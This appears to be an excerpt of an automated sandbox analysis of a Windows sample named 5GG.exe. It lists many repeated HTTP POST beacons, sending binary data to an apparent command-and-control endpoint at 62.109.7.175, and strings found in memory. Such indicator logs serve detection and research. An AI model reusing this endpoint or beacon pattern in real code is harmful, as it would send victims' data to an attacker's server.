Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue

Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.7.175

Source: unknown

HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: 5GG.exe, 00000029.00000002.2891206687.000002ACF4FE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: TextInputHost.exe, 00000024.00000002.2889594930.00000000038EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.7.175
Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2889594930.00000000038EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.7.175/dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbet
Source: METADATA.1.dr	String found in binary or memory: http://PyInstaller.readthedocs.io/en/stable/)
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/vcpython27
Source: total_ordering.py.1.dr	String found in binary or memory: http://bugs.python.org/issue10042
Source: 5GG.exe, 00000029.00000002.2891116650.000002ACF4E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue23606)
Source: 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digice
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
